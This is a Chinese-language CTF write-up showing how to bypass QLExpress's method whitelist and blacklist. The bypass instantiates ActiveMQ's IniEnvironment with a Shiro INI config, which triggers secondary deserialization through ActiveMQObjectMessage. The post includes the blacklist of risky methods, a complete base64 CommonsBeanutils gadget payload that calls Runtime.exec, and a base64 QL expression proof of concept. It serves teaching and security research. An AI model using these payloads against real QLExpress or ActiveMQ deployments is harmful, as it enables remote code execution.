java下的ql表达式白名单突破
真爱和自由 发表于 四川 技术文章 1799浏览 · 2024-09-11 13:35

java下的ql表达式白名单突破

前言

最近看了一道是关于ql表达式的题目,以前从来不知道有ql表达式,当时也是去学习了一波,真的学到了不少

基础知识

ql的基础语法

https://github.com/alibaba/QLExpress这是ql的github的官方

是阿里巴巴的东西

挑选几个比较重要的语法

java的对象操作

import com.ql.util.express.test.OrderQuery;
//系统自动会import java.lang.*,import java.util.*;

query = new OrderQuery();           // 创建class实例,自动补全类路径
query.setCreateDate(new Date());    // 设置属性
query.buyer = "张三";                // 调用属性,默认会转化为setBuyer("张三")
result = bizOrderDAO.query(query);  // 调用bean对象的方法
System.out.println(result.getId()); // 调用静态方法

绑定java类或者对象的method

addFunctionOfClassMethod + addFunctionOfServiceMethod

public class BeanExample {
    public static String upper(String abc) {
        return abc.toUpperCase();
    }
    public boolean anyContains(String str, String searchStr) {
        char[] s = str.toCharArray();
        for (char c : s) {
            if (searchStr.contains(c+"")) {
                return true;
            }
        }
        return false;
    }
}

runner.addFunctionOfClassMethod("取绝对值", Math.class.getName(), "abs", new String[] {"double"}, null);
runner.addFunctionOfClassMethod("转换为大写", BeanExample.class.getName(), "upper", new String[] {"String"}, null);

runner.addFunctionOfServiceMethod("打印", System.out, "println", new String[] { "String" }, null);
runner.addFunctionOfServiceMethod("contains", new BeanExample(), "anyContains", new Class[] {String.class, String.class}, null);

String express = "取绝对值(-100); 转换为大写(\"hello world\"); 打印(\"你好吗?\"); contains("helloworld",\"aeiou\")";
runner.execute(express, context, null, false, false);

Shiro.ini的语法

参考https://www.w3cschool.cn/shiro/h5it1if8.html

Shiro 支持的依赖注入:public 空参构造器对象的创建、setter 依赖注入。

首先我们关注两种写法

1、纯 Java 代码写法(com.github.zhangkaitao.shiro.chapter4.NonConfigurationCreateTest):

DefaultSecurityManager securityManager = new DefaultSecurityManager();
//设置authenticator
ModularRealmAuthenticator authenticator = new ModularRealmAuthenticator();
authenticator.setAuthenticationStrategy(new AtLeastOneSuccessfulStrategy());
securityManager.setAuthenticator(authenticator);
//设置authorizer
ModularRealmAuthorizer authorizer = new ModularRealmAuthorizer();
authorizer.setPermissionResolver(new WildcardPermissionResolver());
securityManager.setAuthorizer(authorizer);
//设置Realm
DruidDataSource ds = new DruidDataSource();
ds.setDriverClassName("com.mysql.jdbc.Driver");
ds.setUrl("jdbc:mysql://localhost:3306/shiro");
ds.setUsername("root");
ds.setPassword("");
JdbcRealm jdbcRealm = new JdbcRealm();
jdbcRealm.setDataSource(ds);
jdbcRealm.setPermissionsLookupEnabled(true);
securityManager.setRealms(Arrays.asList((Realm) jdbcRealm));
//将SecurityManager设置到SecurityUtils 方便全局使用
SecurityUtils.setSecurityManager(securityManager);
Subject subject = SecurityUtils.getSubject();
UsernamePasswordToken token = new UsernamePasswordToken("zhang", "123");
subject.login(token);
Assert.assertTrue(subject.isAuthenticated());

2、等价的 INI 配置(shiro-config.ini)

[main]
\#authenticator
authenticator=org.apache.shiro.authc.pam.ModularRealmAuthenticator
authenticationStrategy=org.apache.shiro.authc.pam.AtLeastOneSuccessfulStrategy
authenticator.authenticationStrategy=$authenticationStrategy
securityManager.authenticator=$authenticator
\#authorizer
authorizer=org.apache.shiro.authz.ModularRealmAuthorizer
permissionResolver=org.apache.shiro.authz.permission.WildcardPermissionResolver
authorizer.permissionResolver=$permissionResolver
securityManager.authorizer=$authorizer
\#realm
dataSource=com.alibaba.druid.pool.DruidDataSource
dataSource.driverClassName=com.mysql.jdbc.Driver
dataSource.url=jdbc:mysql://localhost:3306/shiro
dataSource.username=root
\#dataSource.password=
jdbcRealm=org.apache.shiro.realm.jdbc.JdbcRealm
jdbcRealm.dataSource=$dataSource
jdbcRealm.permissionsLookupEnabled=true
securityManager.realms=$jdbcRealm

其实相当于我们又可以控制代码了

对于上面的

  1. 对象名 = 全限定类名 相对于调用 public 无参构造器创建对象
  2. 对象名. 属性名 = 值 相当于调用 setter 方法设置常量值
  3. 对象名. 属性名 =$ 对象引用 相当于调用 setter 方法设置对象引用

这个知识后面会用到

多级别安全控制

这个就结合题目来说明了

代码如下

package org.example;

import com.ql.util.express.DefaultContext;
import com.ql.util.express.ExpressRunner;
import com.ql.util.express.IExpressContext;
import com.ql.util.express.config.QLExpressRunStrategy;
import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;
import com.sun.net.httpserver.HttpServer;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.InetSocketAddress;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
import java.util.HashSet;
import java.util.List;
import java.util.Set;
import org.apache.activemq.command.Message;

/* loaded from: Main.class */
public class Main {
    public static void main(String[] args) throws IOException {
        int port = Integer.parseInt(System.getenv().getOrDefault("PORT", "8000"));
        HttpServer server = HttpServer.create(new InetSocketAddress(port), 0);
        server.createContext("/", new HttpHandler() { // from class: org.example.Main.1
            public void handle(HttpExchange req) throws IOException {
                String response;
                int code = 200;
                String path = req.getRequestURI().getPath();
                if ("/ql".equals(path)) {
                    try {
                        String express = Main.getRequestBody(req);
                        String express2 = new String(Base64.getDecoder().decode(express));
                        ExpressRunner runner = new ExpressRunner();
                        QLExpressRunStrategy.setForbidInvokeSecurityRiskMethods(true);
                        Set<String> secureMethods = new HashSet<>();
                        secureMethods.add("java.lang.Integer.valueOf");
                        QLExpressRunStrategy.setSecureMethods(secureMethods);
                        DefaultContext<String, Object> context = new DefaultContext<>();
                        response = "0";
                        try {
                            response = String.valueOf(runner.execute(express2, (IExpressContext<String, Object>) context, (List<String>) null, false, false));
                        } catch (Exception e) {
                            System.out.println(e);
                        }
                    } catch (Exception e2) {
                        e2.printStackTrace();
                        response = ":(";
                    }
                } else {
                    code = 404;
                    response = "Not found";
                }
                req.sendResponseHeaders(code, response.length());
                OutputStream os = req.getResponseBody();
                os.write(response.getBytes());
                os.close();
            }
        });
        server.start();
        System.out.printf("Server listening on :%d%n", Integer.valueOf(port));
    }

    /* JADX INFO: Access modifiers changed from: private */
    public static String getRequestBody(HttpExchange exchange) throws IOException {
        InputStream is = exchange.getRequestBody();
        byte[] buffer = new byte[Message.DEFAULT_MINIMUM_MESSAGE_SIZE];
        StringBuilder body = new StringBuilder();
        while (true) {
            int bytesRead = is.read(buffer);
            if (bytesRead != -1) {
                body.append(new String(buffer, 0, bytesRead, StandardCharsets.UTF_8));
            } else {
                return body.toString();
            }
        }
    }
}

waf在

ExpressRunner runner = new ExpressRunner();
QLExpressRunStrategy.setForbidInvokeSecurityRiskMethods(true);
Set<String> secureMethods = new HashSet<>();
secureMethods.add("java.lang.Integer.valueOf");
QLExpressRunStrategy.setSecureMethods(secureMethods);

setForbidInvokeSecurityRiskMethods就是开启黑名单如下

static {
    SECURITY_RISK_METHOD_LIST.add(System.class.getName() + ".exit");
    SECURITY_RISK_METHOD_LIST.add(Runtime.getRuntime().getClass().getName() + ".exec");
    SECURITY_RISK_METHOD_LIST.add(ProcessBuilder.class.getName() + ".start");
    SECURITY_RISK_METHOD_LIST.add(Method.class.getName() + ".invoke");
    SECURITY_RISK_METHOD_LIST.add(Class.class.getName() + ".forName");
    SECURITY_RISK_METHOD_LIST.add(ClassLoader.class.getName() + ".loadClass");
    SECURITY_RISK_METHOD_LIST.add(ClassLoader.class.getName() + ".findClass");
    SECURITY_RISK_METHOD_LIST.add(ClassLoader.class.getName() + ".defineClass");
    SECURITY_RISK_METHOD_LIST.add(ClassLoader.class.getName() + ".getSystemClassLoader");
    SECURITY_RISK_METHOD_LIST.add("javax.naming.InitialContext.lookup");
    SECURITY_RISK_METHOD_LIST.add("com.sun.rowset.JdbcRowSetImpl.setDataSourceName");
    SECURITY_RISK_METHOD_LIST.add("com.sun.rowset.JdbcRowSetImpl.setAutoCommit");
    SECURITY_RISK_METHOD_LIST.add("jdk.jshell.JShell.create");
    SECURITY_RISK_METHOD_LIST.add("javax.script.ScriptEngineManager.getEngineByName");
    SECURITY_RISK_METHOD_LIST.add("org.springframework.jndi.JndiLocatorDelegate.lookup");
    Method[] var0 = QLExpressRunStrategy.class.getMethods();
    int var1 = var0.length;

    for(int var2 = 0; var2 < var1; ++var2) {
        Method method = var0[var2];
        SECURITY_RISK_METHOD_LIST.add(QLExpressRunStrategy.class.getName() + "." + method.getName());
    }

可以发现禁用还是很厉害的,但是绕过方法还是很多的,主要的waf是如下

secureMethods.add("java.lang.Integer.valueOf");

意思就是增加白名单

public static void setSecureMethods(Set<String> secureMethods) {
    SECURE_METHOD_LIST = secureMethods;
}

也就是我们的ql表达式中只能调用valueOf方法

几乎把路堵死了

寻找新出路

方法虽然不可以调用了,但是构造方法触发恶意调用的也不少,比如大名鼎鼎的ClassPathXmlApplicationContext

但是题目环境并没有这个依赖,可惜,然后我就再次去寻找能够通过构造方法触发的类

题目依赖如下

可以看到还有shiro和activeMQ依赖

和CTFCON分享的可以说是对味了

IniEnvironment

我们关注一下这个类,调试分析一波

测试代码

package org.example;

import org.apache.activemq.shiro.env.IniEnvironment;

import static com.sun.org.apache.xml.internal.security.keys.keyresolver.KeyResolver.length;

public class s {
    public static void main(String[] args) {
        IniEnvironment iniEnvironment=new IniEnvironment("user=org.example.User\n" +
                "user.name=\"ljl\"\n" +
                "user.age=18\n" +
                "user.age.a=1");
    }
}
package org.example;

public class User {
    private String name;
    private int age;

    // 构造函数
    public User(){

    }
    public User(String name, int age) {
        this.name = name;
        this.age = age;
    }

    // Getter方法
    public String getName() {
        System.out.println("getName");
        return name;
    }

    // Setter方法
    public void setName(String name) {
        System.out.println("setName");
        this.name = name;
    }

    // Getter方法
    public int getAge() {
        System.out.println("getAge");
        return age;
    }

    // Setter方法
    public void setAge(int age) {
        System.out.println("setAge");
        this.age = age;
    }
    public void haha(){

        System.out.println("123123");
    }
}

运行后发现会调用setter和getter方法,其中IniEnvironment实例化的参数就是配置文件的内容

ActiveMQObjectMessage

我们重点关注它的getter方法getObejct

public Serializable getObject() throws JMSException {
    if (object == null && getContent() != null) {
        try {
            ByteSequence content = getContent();
            InputStream is = new ByteArrayInputStream(content);
            if (isCompressed()) {
                is = new InflaterInputStream(is);
            }
            DataInputStream dataIn = new DataInputStream(is);
            ClassLoadingAwareObjectInputStream objIn = new ClassLoadingAwareObjectInputStream(dataIn);
            objIn.setTrustedPackages(trustedPackages);
            objIn.setTrustAllPackages(trustAllPackages);
            try {
                object = (Serializable)objIn.readObject();
            } catch (ClassNotFoundException ce) {
                throw JMSExceptionSupport.create("Failed to build body from content. Serializable class not available to broker. Reason: " + ce, ce);
            } finally {
                dataIn.close();
            }
        } catch (IOException e) {
            throw JMSExceptionSupport.create("Failed to build body from bytes. Reason: " + e, e);
        }
    }
    return this.object;
}

二次反序列化已经摆脸上了,只需要可以控制content

而且content有对应的setter方法,所以是可以控制的

是在父类Message中

public ByteSequence getContent() {
    return content;
}

编写shiro.ini

首先是思考二次反序列化打什么链子,看依赖中是有CB链的

所以打CB就好了

cb内容

byteSequence.data=rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LjoYjqcyKkSAIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgA/b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmNvbXBhcmF0b3JzLkNvbXBhcmFibGVDb21wYXJhdG9y+/SZJbhusTcCAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAACdXIAAltCrPMX+AYIVOACAAB4cAAAAk/K/rq+AAAAMQAlAQAQVDIxMTcxNzg2Njc2MDkwMAcAAQEAEGphdmEvbGFuZy9PYmplY3QHAAMBAApTb3VyY2VGaWxlAQAVVDIxMTcxNzg2Njc2MDkwMC5qYXZhAQAIPGNsaW5pdD4BAAMoKVYBAARDb2RlAQARamF2YS9sYW5nL1J1bnRpbWUHAAoBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAMAA0KAAsADgEAEGphdmEvbGFuZy9TdHJpbmcHABABAAY8aW5pdD4BAAUoW0IpVgwAEgATCgARABQBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAWABcKAAsAGAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHABoBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQcAHAEAEHNlcmlhbFZlcnNpb25VSUQBAAFKBa0gk/OR3e8+AQANQ29uc3RhbnRWYWx1ZQwAEgAICgAbACMAIQACABsAAQAdAAEAGgAeAB8AAQAiAAAAAgAgAAIACAAHAAgAAQAJAAAAOwAIAAIAAAAvpwADAUy4AA+7ABFZB7wIWQMQY5FUWQQQYZFUWQUQbJFUWQYQY5FUtwAVtgAZV7EAAAAAAAEAEgAIAAEACQAAABEAAQABAAAABSq3ACSxAAAAAAABAAUAAAACAAZ1cQB+ABAAAAHpyv66vgAAADQAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACxMeXNvc2VyaWFsL2dhZGdldC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkRm9vOwEAClNvdXJjZUZpbGUBAAxHYWRnZXRzLmphdmEMAAoACwcAGgEAKnlzb3NlcmlhbC9nYWRnZXQvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJEZvbwEAEGphdmEvbGFuZy9PYmplY3QBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAJnlzb3NlcmlhbC9nYWRnZXQvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAA4QAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJcHQACFpNTVhWU0JKcHcBAHhxAH4ADXg=

整体代码

[main]
activeMQObjectMessage=org.apache.activemq.command.ActiveMQObjectMessage
byteSequence=org.apache.activemq.util.ByteSequence
byteSequence.data=内容
byteSequence.length=长度
activeMQObjectMessage.content=$byteSequence
activeMQObjectMessage.trustAllPackages=true
activeMQObjectMessage.object.a=1

简单解释一下,就是实例化ActiveMQObjectMessage类,调用它的setter方法赋值,因为content可以控制的话可以二次反序列化

protected ByteSequence content;

本质上是个ByteSequence对象,所以又构造了ByteSequence对象,然后最后一句就是触发getObject方法

POC

这里我直接使用Test了

package org.example;

import com.ql.util.express.DefaultContext;
import com.ql.util.express.ExpressRunner;
import com.ql.util.express.IExpressContext;
import com.ql.util.express.config.QLExpressRunStrategy;

import java.util.Base64;
import java.util.HashSet;
import java.util.List;
import java.util.Set;

/* loaded from: test.class */
public class test {
    public static void main(String[] args) {
        ExpressRunner runner = new ExpressRunner();
        QLExpressRunStrategy.setForbidInvokeSecurityRiskMethods(true);
        Set<String> secureMethods = new HashSet<>();
        secureMethods.add("java.lang.Integer.valueOf");
        QLExpressRunStrategy.setSecureMethods(secureMethods);
        DefaultContext<String, Object> context = new DefaultContext<>();
        String express="bmV3IG9yZy5hcGFjaGUuYWN0aXZlbXEuc2hpcm8uZW52LkluaUVudmlyb25tZW50KCJbbWFpbl1cbiIgKwogICAgICAgICAgICAgICAgImFjdGl2ZU1RT2JqZWN0TWVzc2FnZT1vcmcuYXBhY2hlLmFjdGl2ZW1xLmNvbW1hbmQuQWN0aXZlTVFPYmplY3RNZXNzYWdlXG4iICsKICAgICAgICAgICAgICAgICJieXRlU2VxdWVuY2U9b3JnLmFwYWNoZS5hY3RpdmVtcS51dGlsLkJ5dGVTZXF1ZW5jZVxuIiArCiAgICAgICAgICAgICAgICAiYnl0ZVNlcXVlbmNlLmRhdGE9ck8wQUJYTnlBQmRxWVhaaExuVjBhV3d1VUhKcGIzSnBkSGxSZFdWMVpaVGFNTFQ3UDRLeEF3QUNTUUFFYzJsNlpVd0FDbU52YlhCaGNtRjBiM0owQUJaTWFtRjJZUzkxZEdsc0wwTnZiWEJoY21GMGIzSTdlSEFBQUFBQ2MzSUFLMjl5Wnk1aGNHRmphR1V1WTI5dGJXOXVjeTVpWldGdWRYUnBiSE11UW1WaGJrTnZiWEJoY21GMGIzTGpvWWpxY3lLa1NBSUFBa3dBQ21OdmJYQmhjbUYwYjNKeEFINEFBVXdBQ0hCeWIzQmxjblI1ZEFBU1RHcGhkbUV2YkdGdVp5OVRkSEpwYm1jN2VIQnpjZ0EvYjNKbkxtRndZV05vWlM1amIyMXRiMjV6TG1OdmJHeGxZM1JwYjI1ekxtTnZiWEJoY21GMGIzSnpMa052YlhCaGNtRmliR1ZEYjIxd1lYSmhkRzl5Ky9TWkpiaHVzVGNDQUFCNGNIUUFFRzkxZEhCMWRGQnliM0JsY25ScFpYTjNCQUFBQUFOemNnQTZZMjl0TG5OMWJpNXZjbWN1WVhCaFkyaGxMbmhoYkdGdUxtbHVkR1Z5Ym1Gc0xuaHpiSFJqTG5SeVlYZ3VWR1Z0Y0d4aGRHVnpTVzF3YkFsWFQ4RnVyS3N6QXdBR1NRQU5YMmx1WkdWdWRFNTFiV0psY2trQURsOTBjbUZ1YzJ4bGRFbHVaR1Y0V3dBS1gySjVkR1ZqYjJSbGMzUUFBMXRiUWxzQUJsOWpiR0Z6YzNRQUVsdE1hbUYyWVM5c1lXNW5MME5zWVhOek8wd0FCVjl1WVcxbGNRQitBQVJNQUJGZmIzVjBjSFYwVUhKdmNHVnlkR2xsYzNRQUZreHFZWFpoTDNWMGFXd3ZVSEp2Y0dWeWRHbGxjenQ0Y0FBQUFBRC8vLy8vZFhJQUExdGJRa3Y5R1JWblo5czNBZ0FBZUhBQUFBQUNkWElBQWx0Q3JQTVgrQVlJVk9BQ0FBQjRjQUFBQWsvSy9ycStBQUFBTVFBbEFRQVFWREl4TVRjeE56ZzJOamMyTURrd01BY0FBUUVBRUdwaGRtRXZiR0Z1Wnk5UFltcGxZM1FIQUFNQkFBcFRiM1Z5WTJWR2FXeGxBUUFWVkRJeE1UY3hOemcyTmpjMk1Ea3dNQzVxWVhaaEFRQUlQR05zYVc1cGRENEJBQU1vS1ZZQkFBUkRiMlJsQVFBUmFtRjJZUzlzWVc1bkwxSjFiblJwYldVSEFBb0JBQXBuWlhSU2RXNTBhVzFsQVFBVktDbE1hbUYyWVM5c1lXNW5MMUoxYm5ScGJXVTdEQUFNQUEwS0FBc0FEZ0VBRUdwaGRtRXZiR0Z1Wnk5VGRISnBibWNIQUJBQkFBWThhVzVwZEQ0QkFBVW9XMElwVmd3QUVnQVRDZ0FSQUJRQkFBUmxlR1ZqQVFBbktFeHFZWFpoTDJ4aGJtY3ZVM1J5YVc1bk95bE1hbUYyWVM5c1lXNW5MMUJ5YjJObGMzTTdEQUFXQUJjS0FBc0FHQUVBUUdOdmJTOXpkVzR2YjNKbkwyRndZV05vWlM5NFlXeGhiaTlwYm5SbGNtNWhiQzk0YzJ4MFl5OXlkVzUwYVcxbEwwRmljM1J5WVdOMFZISmhibk5zWlhRSEFCb0JBQlJxWVhaaEwybHZMMU5sY21saGJHbDZZV0pzWlFjQUhBRUFFSE5sY21saGJGWmxjbk5wYjI1VlNVUUJBQUZLQmEwZ2svT1IzZTgrQVFBTlEyOXVjM1JoYm5SV1lXeDFaUXdBRWdBSUNnQWJBQ01BSVFBQ0FCc0FBUUFkQUFFQUdnQWVBQjhBQVFBaUFBQUFBZ0FnQUFJQUNBQUhBQWdBQVFBSkFBQUFPd0FJQUFJQUFBQXZwd0FEQVV5NEFBKzdBQkZaQjd3SVdRTVFZNUZVV1FRUVlaRlVXUVVRYkpGVVdRWVFZNUZVdHdBVnRnQVpWN0VBQUFBQUFBRUFFZ0FJQUFFQUNRQUFBQkVBQVFBQkFBQUFCU3EzQUNTeEFBQUFBQUFCQUFVQUFBQUNBQVoxY1FCK0FCQUFBQUhweXY2NnZnQUFBRFFBR3dvQUF3QVZCd0FYQndBWUJ3QVpBUUFRYzJWeWFXRnNWbVZ5YzJsdmJsVkpSQUVBQVVvQkFBMURiMjV6ZEdGdWRGWmhiSFZsQlhIbWFlNDhiVWNZQVFBR1BHbHVhWFErQVFBREtDbFdBUUFFUTI5a1pRRUFEMHhwYm1WT2RXMWlaWEpVWVdKc1pRRUFFa3h2WTJGc1ZtRnlhV0ZpYkdWVVlXSnNaUUVBQkhSb2FYTUJBQU5HYjI4QkFBeEpibTVsY2tOc1lYTnpaWE1CQUN4TWVYTnZjMlZ5YVdGc0wyZGhaR2RsZEM5d1lYbHNiMkZrY3k5MWRHbHNMMGRoWkdkbGRITWtSbTl2T3dFQUNsTnZkWEpqWlVacGJHVUJBQXhIWVdSblpYUnpMbXBoZG1FTUFBb0FDd2NBR2dFQUtubHpiM05sY21saGJDOW5ZV1JuWlhRdmNHRjViRzloWkhNdmRYUnBiQzlIWVdSblpYUnpKRVp2YndFQUVHcGhkbUV2YkdGdVp5OVBZbXBsWTNRQkFCUnFZWFpoTDJsdkwxTmxjbWxoYkdsNllXSnNaUUVBSm5semIzTmxjbWxoYkM5bllXUm5aWFF2Y0dGNWJHOWhaSE12ZFhScGJDOUhZV1JuWlhSekFDRUFBZ0FEQUFFQUJBQUJBQm9BQlFBR0FBRUFCd0FBQUFJQUNBQUJBQUVBQ2dBTEFBRUFEQUFBQUM4QUFRQUJBQUFBQlNxM0FBR3hBQUFBQWdBTkFBQUFCZ0FCQUFBQTRRQU9BQUFBREFBQkFBQUFCUUFQQUJJQUFBQUNBQk1BQUFBQ0FCUUFFUUFBQUFvQUFRQUNBQllBRUFBSmNIUUFDRnBOVFZoV1UwSktjSGNCQUhoeEFINEFEWGc9XG4iICsKICAgICAgICAgICAgICAgICJieXRlU2VxdWVuY2UubGVuZ3RoPTIyNTdcbiIgKwogICAgICAgICAgICAgICAgImFjdGl2ZU1RT2JqZWN0TWVzc2FnZS5jb250ZW50PSRieXRlU2VxdWVuY2VcbiIgKwogICAgICAgICAgICAgICAgImFjdGl2ZU1RT2JqZWN0TWVzc2FnZS50cnVzdEFsbFBhY2thZ2VzPXRydWVcbiIgKwogICAgICAgICAgICAgICAgImFjdGl2ZU1RT2JqZWN0TWVzc2FnZS5vYmplY3QuYT0xIik7";
        String express2 = new String(Base64.getDecoder().decode(express));
        System.out.println(express2);
        try {
            String shellcode = String.valueOf(runner.execute(express2, (IExpressContext<String, Object>) context, (List<String>) null, false, false));
            System.out.println(shellcode);
        } catch (Exception e) {
            System.out.println(e);
        }
    }
}

运行弹出计算器

0 条评论
某人
表情
可输入 255